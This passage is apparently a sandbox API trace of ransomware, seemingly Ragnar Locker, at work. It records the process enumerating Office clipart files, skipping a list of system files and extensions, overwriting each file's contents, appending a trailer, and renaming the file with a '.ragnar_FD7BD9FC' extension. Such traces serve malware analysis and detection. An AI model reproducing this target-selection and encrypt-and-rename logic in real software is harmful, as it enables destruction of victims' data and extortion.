ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1 [0092.006] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.006] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02025_.WMF" | out: lpString1="SO02025_.WMF") returned="SO02025_.WMF" [0092.006] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF") returned=".WMF" [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="autorun.inf") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="boot.ini") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="bootfont.bin") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="bootsect.bak") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="bootmgr") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="bootmgr.efi") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="desktop.ini") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="iconcache.db") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="ntldr") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="ntuser.dat") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="ntuser.ini") returned 1 [0092.006] lstrcmpiW (lpString1="SO02025_.WMF", lpString2="thumbs.db") returned -1 [0092.006] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.006] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.006] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.006] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.006] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.006] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.006] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf")) returned 0x20 [0092.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.007] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8214) returned 1 [0092.007] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x200d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.007] GetProcessHeap () returned 0x580000 [0092.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.007] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2016, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.026] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.026] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.026] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2016, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2016, lpOverlapped=0x0) returned 1 [0092.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.028] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2016, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.028] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2016, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2016, lpOverlapped=0x0) returned 1 [0092.028] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2016, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.028] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2016, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.029] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.029] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.029] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.029] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.029] GetProcessHeap () returned 0x580000 [0092.029] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.029] CloseHandle (hObject=0xf4) returned 1 [0092.029] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" [0092.029] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.ragnar_FD7BD9FC" [0092.029] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.032] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1 [0092.032] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.032] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02028_.WMF" | out: lpString1="SO02028_.WMF") returned="SO02028_.WMF" [0092.032] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF") returned=".WMF" [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="autorun.inf") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="boot.ini") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="bootfont.bin") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="bootsect.bak") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="bootmgr") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="bootmgr.efi") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="desktop.ini") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="iconcache.db") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="ntldr") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="ntuser.dat") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="ntuser.ini") returned 1 [0092.032] lstrcmpiW (lpString1="SO02028_.WMF", lpString2="thumbs.db") returned -1 [0092.033] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.033] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.033] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.033] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.033] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.033] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.033] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf")) returned 0x20 [0092.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.033] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9416) returned 1 [0092.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.033] GetProcessHeap () returned 0x580000 [0092.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.033] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.038] VirtualAlloc (lpAddress=0x0, dwSize=0x24c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.038] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x24c8, lpOverlapped=0x0) returned 1 [0092.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.050] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.050] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x24c8, lpOverlapped=0x0) returned 1 [0092.050] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.050] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.050] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.050] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.050] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.051] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.051] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.051] GetProcessHeap () returned 0x580000 [0092.051] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.051] CloseHandle (hObject=0xf4) returned 1 [0092.051] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" [0092.051] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.ragnar_FD7BD9FC" [0092.051] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.052] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1 [0092.052] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.052] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02045_.WMF" | out: lpString1="SO02045_.WMF") returned="SO02045_.WMF" [0092.052] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF") returned=".WMF" [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="autorun.inf") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="boot.ini") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="bootfont.bin") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="bootsect.bak") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="bootmgr") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="bootmgr.efi") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="desktop.ini") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="iconcache.db") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="ntldr") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="ntuser.dat") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="ntuser.ini") returned 1 [0092.052] lstrcmpiW (lpString1="SO02045_.WMF", lpString2="thumbs.db") returned -1 [0092.052] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.052] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.052] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.052] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.052] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.052] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.052] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf")) returned 0x20 [0092.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.053] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9836) returned 1 [0092.053] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.053] GetProcessHeap () returned 0x580000 [0092.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.053] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.054] VirtualAlloc (lpAddress=0x0, dwSize=0x266c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.054] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x266c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x266c, lpOverlapped=0x0) returned 1 [0092.055] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.055] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x266c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.055] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x266c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x266c, lpOverlapped=0x0) returned 1 [0092.055] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x266c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.055] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x266c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.056] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.056] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.056] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.056] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.056] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.056] GetProcessHeap () returned 0x580000 [0092.056] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.056] CloseHandle (hObject=0xf4) returned 1 [0092.056] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" [0092.056] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.ragnar_FD7BD9FC" [0092.056] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.057] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1 [0092.057] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.057] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02048_.WMF" | out: lpString1="SO02048_.WMF") returned="SO02048_.WMF" [0092.057] 